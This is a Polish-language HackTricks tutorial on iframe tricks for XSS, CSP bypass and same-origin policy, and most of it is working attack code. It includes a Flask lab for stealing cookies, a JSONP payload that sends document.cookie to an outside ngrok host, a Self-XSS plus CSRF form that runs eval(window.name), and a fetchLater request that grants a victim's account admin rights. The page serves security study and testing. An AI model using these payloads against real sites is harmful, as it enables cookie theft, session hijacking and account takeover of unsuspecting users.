Iframes w XSS, CSP i SOP

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Iframes w XSS

Istnieją 3 sposoby wskazania zawartości strony w iframe:

  • Poprzez src wskazujący URL (URL może być cross origin lub same origin)
  • Poprzez src wskazujący zawartość za pomocą protokołu data:
  • Poprzez srcdoc wskazujący zawartość

Dostęp do zmiennych rodzica i dziecka

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Jeśli uzyskasz dostęp do poprzedniego html za pomocą serwera http (takiego jak python3 -m http.server), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by temu zapobiegało). Rodzic nie będzie mógł uzyskać dostępu do zmiennej secret wewnątrz żadnego iframe i tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do secret w oryginalnym oknie.
Zauważ, że if4 jest uważany za mający null origin.

Iframes z CSP

tip

Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który zapobiega wykonaniu JS.

Wartość self dla script-src nie pozwoli na wykonanie kodu JS przy użyciu protokołu data: lub atrybutu srcdoc.
Jednak nawet wartość none CSP pozwoli na wykonanie iframe'ów, które umieszczają adres URL (pełny lub tylko ścieżkę) w atrybucie src.
Dlatego możliwe jest obejście CSP strony za pomocą:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Zauważ, że poprzedni CSP zezwala tylko na wykonanie skryptu inline.
Jednakże, tylko skrypty if1 i if2 będą wykonywane, ale tylko if1 będzie miało dostęp do tajemnicy rodzica.

Dlatego możliwe jest obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy script-src 'none'. To może być również zrealizowane poprzez nadużycie punktu końcowego JSONP w tej samej witrynie.

Możesz to przetestować w następującym scenariuszu, w którym ciasteczko jest kradzione, nawet przy script-src 'none'. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Inne ładunki znalezione w dziczy

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Zawartość w iframe może być poddana dodatkowym ograniczeniom za pomocą atrybutu sandbox. Domyślnie ten atrybut nie jest stosowany, co oznacza, że nie ma żadnych ograniczeń.

Gdy jest używany, atrybut sandbox nakłada kilka ograniczeń:

  • Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.
  • Każda próba przesłania formularzy jest blokowana.
  • Wykonywanie skryptów jest zabronione.
  • Dostęp do niektórych API jest wyłączony.
  • Zapobiega interakcji linków z innymi kontekstami przeglądania.
  • Użycie wtyczek za pomocą tagów <embed>, <object>, <applet> lub podobnych jest zabronione.
  • Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana.
  • Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne skupienie na kontrolkach formularza, są blokowane.

Wartość atrybutu może być pozostawiona pusta (sandbox=""), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę specyficznych wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

Jak wyjaśniono w tym artykule, flaga credentialless w iframe jest używana do ładowania strony wewnątrz iframe bez wysyłania poświadczeń w żądaniu, jednocześnie zachowując politykę tego samego pochodzenia (SOP) załadowanej strony w iframe.

To pozwala iframe na dostęp do wrażliwych informacji z innego iframe w tym samym SOP załadowanym na stronie nadrzędnej:

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • Przykład exploita: Self-XSS + CSRF

W tym ataku, atakujący przygotowuje złośliwą stronę internetową z 2 iframe'ami:

  • Iframe, który ładuje stronę ofiary z flagą credentialless z CSRF, który wywołuje XSS (Wyobraź sobie Self-XSS w nazwie użytkownika):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Inny iframe, który faktycznie ma zalogowanego użytkownika (bez flagi credentialless).

Następnie, z XSS możliwe jest uzyskanie dostępu do drugiego iframe'a, ponieważ mają ten sam SOP i kradzież ciasteczka, na przykład wykonując:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

Jak wskazano w tym artykule, API fetchLater pozwala na skonfigurowanie żądania, które ma być wykonane później (po pewnym czasie). Dlatego można to wykorzystać, aby na przykład zalogować ofiarę w sesji atakującego (z użyciem Self-XSS), ustawić żądanie fetchLater (aby zmienić hasło bieżącego użytkownika na przykład) i wylogować się z sesji atakującego. Następnie ofiara loguje się w swojej własnej sesji, a żądanie fetchLater zostanie wykonane, zmieniając hasło ofiary na to ustawione przez atakującego.

W ten sposób, nawet jeśli URL ofiary nie może być załadowany w iframe (z powodu CSP lub innych ograniczeń), atakujący nadal może wykonać żądanie w sesji ofiary.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes w SOP

Sprawdź następujące strony:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks